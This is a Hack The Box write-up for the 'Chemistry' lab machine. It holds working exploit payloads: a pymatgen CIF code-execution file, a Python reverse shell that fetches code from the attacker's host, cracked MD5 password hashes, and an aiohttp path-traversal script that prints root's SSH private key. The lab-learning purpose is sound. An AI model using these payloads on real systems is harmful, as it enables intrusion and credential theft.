Hack The Box Chemistry Writeup (Easy Linux)
Easy Linux box. A crafted CIF file fires CVE-2024-23346 in pymatgen, cracked MD5 hashes hand over rosa, and CVE-2024-23334 in aiohttp reads root's SSH key.
Summary
Chemistry runs a Flask app on port 5000 that lets any registered user upload and parse Crystallographic Information Files. The parser is pymatgen 2024.1.26, vulnerable to CVE-2024-23346, so a CIF file carrying a Python payload executes as the web user and returns a reverse shell. The application source then gives up a hardcoded Flask secret key and the path to a SQLite database whose users table stores MD5 hashes; hashcat and rockyou crack several of them, and rosa reuses hers for SSH. Forwarding the internal service on port 8080 shows aiohttp 3.9.1, vulnerable to the CVE-2024-23334 static-route path traversal, and because that server runs as root the traversal reads root’s private SSH key for a full compromise.
BS01: Initial Access - CVE-2024-23346
Explanation: The website at http://10.10.11.38:5000/dashboard allows for authenticated users to upload and parse CIF files. According to CCDC:
A CIF or Crystallographic Information File is the standard format for storing crystallographic structural data.
The HTTP headers of the website indicates that it is running Python on the back-end. This information was crucial for us in this case, because googling for “python CIF parser exploit”, we get to CVE-2024-23346. The blog post describes the vulnerability along with a PoC script. The website is vulnerable, and an authenticated remote attacker may be able to exploit this vulnerability to obtain remote code execution as the user running the webserver application.
Testing the Vulnerability
- To test if the website is vulnerable, we modify the PoC to a simple ping command back to our attacking host:
exploit.cif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("ping 10.10.14.5 -c 7");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Register an account at http://10.10.11.38:5000/, log in and upload the exploit.cif file.
In your attacking machine, run:
1
sudo tcpdump -i tun0
In the dashboard http://10.10.11.38:5000/dashboard, click to “view” in the exploit.cif file you just uploaded. This will trigger the vulnerable parsing library (pymatgen 2024.1.26).
In your attacking host terminal, you should see the following output related to ICMP, confirming the vulnerability:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:21:11.077365 IP 10.10.14.5.39560 > 10.10.11.38.5000: Flags [S], seq 1082638479, win 64240, options [mss 1460,sackOK,TS val 765080846 ecr 0,nop,wscale 7], length 0
16:21:11.170805 IP 10.10.11.38.5000 > 10.10.14.5.39560: Flags [S.], seq 77657663, ack 1082638480, win 65160, options [mss 1340,sackOK,TS val 2276745763 ecr 765080846,nop,wscale 7], length 0
16:21:11.170831 IP 10.10.14.5.39560 > 10.10.11.38.5000: Flags [.], ack 1, win 502, options [nop,nop,TS val 765080940 ecr 2276745763], length 0
16:21:11.171032 IP 10.10.14.5.39560 > 10.10.11.38.5000: Flags [P.], seq 1:702, ack 1, win 502, options [nop,nop,TS val 765080940 ecr 2276745763], length 701
16:21:11.265588 IP 10.10.11.38.5000 > 10.10.14.5.39560: Flags [.], ack 702, win 504, options [nop,nop,TS val 2276745858 ecr 765080940], length 0
16:21:11.283500 IP 10.10.11.38 > 10.10.14.5: ICMP echo request, id 5, seq 1, length 64
16:21:11.283533 IP 10.10.14.5 > 10.10.11.38: ICMP echo reply, id 5, seq 1, length 64
16:21:12.350740 IP 10.10.11.38 > 10.10.14.5: ICMP echo request, id 5, seq 2, length 64
16:21:12.350771 IP 10.10.14.5 > 10.10.11.38: ICMP echo reply, id 5, seq 2, length 64
16:21:13.379887 IP 10.10.11.38 > 10.10.14.5: ICMP echo request, id 5, seq 3, length 64
16:21:13.379900 IP 10.10.14.5 > 10.10.11.38: ICMP echo reply, id 5, seq 3, length 64
16:21:14.303466 IP 10.10.11.38 > 10.10.14.5: ICMP echo request, id 5, seq 4, length 64
16:21:14.303498 IP 10.10.14.5 > 10.10.11.38: ICMP echo reply, id 5, seq 4, length 64
16:21:15.334667 IP 10.10.11.38 > 10.10.14.5: ICMP echo request, id 5, seq 5, length 64
16:21:15.334681 IP 10.10.14.5 > 10.10.11.38: ICMP echo reply, id 5, seq 5, length 64
16:21:16.314884 IP 10.10.11.38 > 10.10.14.5: ICMP echo request, id 5, seq 6, length 64
16:21:16.314908 IP 10.10.14.5 > 10.10.11.38: ICMP echo reply, id 5, seq 6, length 64
16:21:17.392373 IP 10.10.11.38 > 10.10.14.5: ICMP echo request, id 5, seq 7, length 64
16:21:17.392387 IP 10.10.14.5 > 10.10.11.38: ICMP echo reply, id 5, seq 7, length 64
16:21:17.488439 IP 10.10.11.38.5000 > 10.10.14.5.39560: Flags [P.], seq 1:207, ack 702, win 504, options [nop,nop,TS val 2276752051 ecr 765080940], length 206
16:21:17.488486 IP 10.10.14.5.39560 > 10.10.11.38.5000: Flags [.], ack 207, win 501, options [nop,nop,TS val 765087257 ecr 2276752051], length 0
16:21:17.498901 IP 10.10.11.38.5000 > 10.10.14.5.39560: Flags [FP.], seq 207:472, ack 702, win 504, options [nop,nop,TS val 2276752061 ecr 765080940], length 265
16:21:17.499215 IP 10.10.14.5.39560 > 10.10.11.38.5000: Flags [F.], seq 702, ack 473, win 501, options [nop,nop,TS val 765087268 ecr 2276752061], length 0
16:21:17.594685 IP 10.10.11.38.5000 > 10.10.14.5.39560: Flags [.], ack 703, win 504, options [nop,nop,TS val 2276752152 ecr 765087268], length 0
^C
24 packets captured
24 packets received by filter
0 packets dropped by kernel
Exploiting the Vulnerability
- Create a python reverse shell script in your attacking host (change ATTACKER_TUN0-IP to your respective tun0 IP address):
rev.py
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER-TUN0-IP",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
- Run a simple HTTP server with python:
1
python3 -m http.server 80
- Modify the CIF file PoC to get the python reverse shell script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("wget 10.10.14.5/rev.py");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Register/log in to the website at http://10.10.11.38:5000/, upload the malicious CIF file at http://10.10.11.38:5000/dashboard and click on “View”.
In your terminal, you should see the following:
1
2
3
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.38 - - [29/Oct/2024 16:31:25] "GET /rev.py HTTP/1.1" 200 -
- Then, modify the CIF file again to make the remote host execute the python reverse shell script.
1
<SNIP> .load_module ("os").system ("python3 rev.py");0,0,0' <SNIP>
- Fire up netcat to receive the reverse shell connection
1
nc -lvnp 9001
Upload the malicious CIF file again following the instructions in step 4.
The following is the actual connection being received and the steps taken to create a stable shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.38] 37264
app@chemistry:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
app@chemistry:~$ export TERM=xterm
export TERM=xterm
app@chemistry:~$ ^Z
zsh: suspended nc -lvnp 9001
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 9001
app@chemistry:~$
app@chemistry:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.38 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb0:f556 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb0:f556 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b0:f5:56 txqueuelen 1000 (Ethernet)
RX packets 117249 bytes 15236709 (15.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 137534 bytes 23429389 (23.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 300417 bytes 32766119 (32.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 300417 bytes 32766119 (32.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
app@chemistry:~$ id
uid=1001(app) gid=1001(app) groups=1001(app)
app@chemistry:~$
BS02: Horizontal Privilege Escalation - Password Hash Cracking and Password Reuse
Explanation: After obtaining initial foothold in the environment, the tester was able to read the source code of the web application running on port 5000. The app secret key (used to encrypt/decrypt the session cookie, among other things) is hardcoded, and with this information we can tamper with session cookies. Also, a location to a sqlite database is addressed in the source code.
Having the permissions of the user running the webserver, we can read the database, and dump the users table containing usernames and password hashes in MD5, which is an insecure hashing algorithm. Using a common list of passwords was enough to crack multiple hashes, compromising many user accounts, including local user “rosa”.
app.py (snippet)
1
2
3
4
5
app = Flask(__name__)
app.config['SECRET_KEY'] = '[SECRET KEY REDACTED]'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
Steps to Reproduce
Download the database at **/home/app/instance/database.db **to the attacking host
Read the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/…/machines/easy/chemistry/loot]
└─$ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
structure user
sqlite> .dump user
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(150) NOT NULL,
password VARCHAR(150) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
INSERT INTO user VALUES(5,'jobert','3dec299e06f7ed187bac06bd3b670ab2');
INSERT INTO user VALUES(6,'carlos','9ad48828b0955513f7cf0f7f6510c8f8');
INSERT INTO user VALUES(7,'peter','6845c17d298d95aa942127bdad2ceb9b');
INSERT INTO user VALUES(8,'victoria','c3601ad2286a4293868ec2a4bc606ba3');
INSERT INTO user VALUES(9,'tania','a4aa55e816205dc0389591c9f82f43bb');
INSERT INTO user VALUES(10,'eusebio','6cad48078d0241cca9a7b322ecd073b3');
INSERT INTO user VALUES(11,'gelacia','4af70c80b68267012ecdac9a7e916d18');
INSERT INTO user VALUES(12,'fabian','4e5d71f53fdd2eabdbabb233113b5dc0');
INSERT INTO user VALUES(13,'axel','9347f9724ca083b17e39555c36fd9007');
INSERT INTO user VALUES(14,'kristel','6896ba7b11a62cacffbdaded457c6d92');
INSERT INTO user VALUES(15,'hacker','d6a6bc0db10694a2d90e3a69648f3a03');
COMMIT;
- Create a text file containing the MD5 hashes only:
chemistry.hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2861debaf8d99436a10ed6f75a252abf
197865e46b878d9e74a0346b6d59886a
63ed86ee9f624c7b14f1d4f43dc251a5
02fcf7cfc10adc37959fb21f06c6b467
3dec299e06f7ed187bac06bd3b670ab2
9ad48828b0955513f7cf0f7f6510c8f8
6845c17d298d95aa942127bdad2ceb9b
c3601ad2286a4293868ec2a4bc606ba3
a4aa55e816205dc0389591c9f82f43bb
6cad48078d0241cca9a7b322ecd073b3
4af70c80b68267012ecdac9a7e916d18
4e5d71f53fdd2eabdbabb233113b5dc0
9347f9724ca083b17e39555c36fd9007
6896ba7b11a62cacffbdaded457c6d92
d6a6bc0db10694a2d90e3a69648f3a03
- Follow the output to crack the hashes with hashcat using the rockyou wordlist:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ hashcat -d 1 -m 0 chemistry.hashes hashcat/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
d6a6bc0db10694a2d90e3a69648f3a03:hacker
9ad48828b0955513f7cf0f7f6510c8f8:carlos123
6845c17d298d95aa942127bdad2ceb9b:peterparker
c3601ad2286a4293868ec2a4bc606ba3:victoria123
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: chemistry.hashes
Time.Started.....: Tue Oct 29 17:59:42 2024 (1 sec)
Time.Estimated...: Tue Oct 29 17:59:43 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (hashcat/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 10295.9 kH/s (1.64ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 5/15 (33.33%) Digests (total), 5/15 (33.33%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[30313234353436313930] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 54c Util: 28% Core:1785MHz Mem:6000MHz Bus:8
Started: Tue Oct 29 17:59:41 2024
Stopped: Tue Oct 29 17:59:44 2024
- Use rosa’s cracked password to log in to the host:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌──(kali㉿kali)-[~]
└─$ ssh rosa@10.10.11.38
rosa@10.10.11.38's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue 29 Oct 2024 09:04:01 PM UTC
System load: 0.02
Usage of /: 73.3% of 5.08GB
Memory usage: 23%
Swap usage: 0%
Processes: 235
Users logged in: 0
IPv4 address for eth0: 10.10.11.38
IPv6 address for eth0: dead:beef::250:56ff:feb0:f556
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
9 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Oct 29 21:04:02 2024 from 10.10.14.5
rosa@chemistry:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.38 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb0:f556 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb0:f556 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b0:f5:56 txqueuelen 1000 (Ethernet)
RX packets 118011 bytes 15307519 (15.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 138534 bytes 23518888 (23.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 302217 bytes 32907871 (32.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 302217 bytes 32907871 (32.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
rosa@chemistry:~$
BS03: Vertical Privilege Escalation - CVE-2024-23334
Explanation: There is an internal web server running on port 8080. We used SSH port forwarding to get access to this web server in our attacking machine. Most of the web server’s features are in still in development, and there is nothing much we can do there. However, upon closer look at the web server’s HTTP headers, we see the following:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ curl http://127.0.0.1:8080/ -I
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Tue, 29 Oct 2024 21:11:07 GMT
Server: Python/3.9 aiohttp/3.9.1
The aiohttp version that the website is using (3.9.1) is vulnerable to CVE-2024-23334. According to NIST:
aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option ‘follow_symlinks’ can be used to determine whether to follow symbolic links outside the static root directory. When ‘follow_symlinks’ is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
Abusing this vulnerability allows for a remote attacker to read any file from the system, as the user running the web server is root. We managed to read root’s private SSH key and log in to the host via SSH, successfully compromising the entire system.
Steps to Reproduce:
- Use SSH to port forward:
1
ssh -L 8080:127.0.0.1:8080 rosa@10.10.11.38
Download this PoC script.
Modify the PoC to work with our environment:
aiohttp.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
url="http://127.0.0.1:8080"
string="../"
payload="/assets/"
file="root/.ssh/id_rsa" # without the first /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done
- Run the PoC to grab the private SSH key of the root user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali㉿kali)-[~/…/htb/machines/easy/chemistry]
└─$ bash ./aiohttp.sh
[+] Testing with /assets/../root/.ssh/id_rsa
Status code --> 404
[+] Testing with /assets/../../root/.ssh/id_rsa
Status code --> 404
[+] Testing with /assets/../../../root/.ssh/id_rsa
Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
- Save the private SSH key to a file and log in as root via SSH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(kali㉿kali)-[~/…/htb/machines/easy/chemistry]
└─$ nano root.rsa
┌──(kali㉿kali)-[~/…/htb/machines/easy/chemistry]
└─$ chmod 600 root.rsa
┌──(kali㉿kali)-[~/…/htb/machines/easy/chemistry]
└─$ ssh -i root.rsa root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue 29 Oct 2024 09:19:43 PM UTC
System load: 0.0
Usage of /: 73.5% of 5.08GB
Memory usage: 24%
Swap usage: 0%
Processes: 240
Users logged in: 1
IPv4 address for eth0: 10.10.11.38
IPv6 address for eth0: dead:beef::250:56ff:feb0:f556
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
9 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Oct 11 14:06:59 2024
root@chemistry:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.38 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb0:f556 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb0:f556 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b0:f5:56 txqueuelen 1000 (Ethernet)
RX packets 118422 bytes 15357245 (15.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 139149 bytes 23590096 (23.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 303397 bytes 33006056 (33.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 303397 bytes 33006056 (33.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@chemistry:~# id
uid=0(root) gid=0(root) groups=0(root)
root@chemistry:~#
Downloaded Files
Python Reverse Shell: Created by the tester during the assessment in order to obtain initial foothold in the environment.
| Cleaned | Host | File Path | MD5 | SHA-256 |
|---|---|---|---|---|
| YES | 10.10.11.38 (@chemistry) | /home/app/rev.py | 0bf38d07f7426cbc7348891e694292aa | b5d086d9a19a41750ae95540a27aa1d60ec5ca3cd2b473439df31063bc3a8b9f |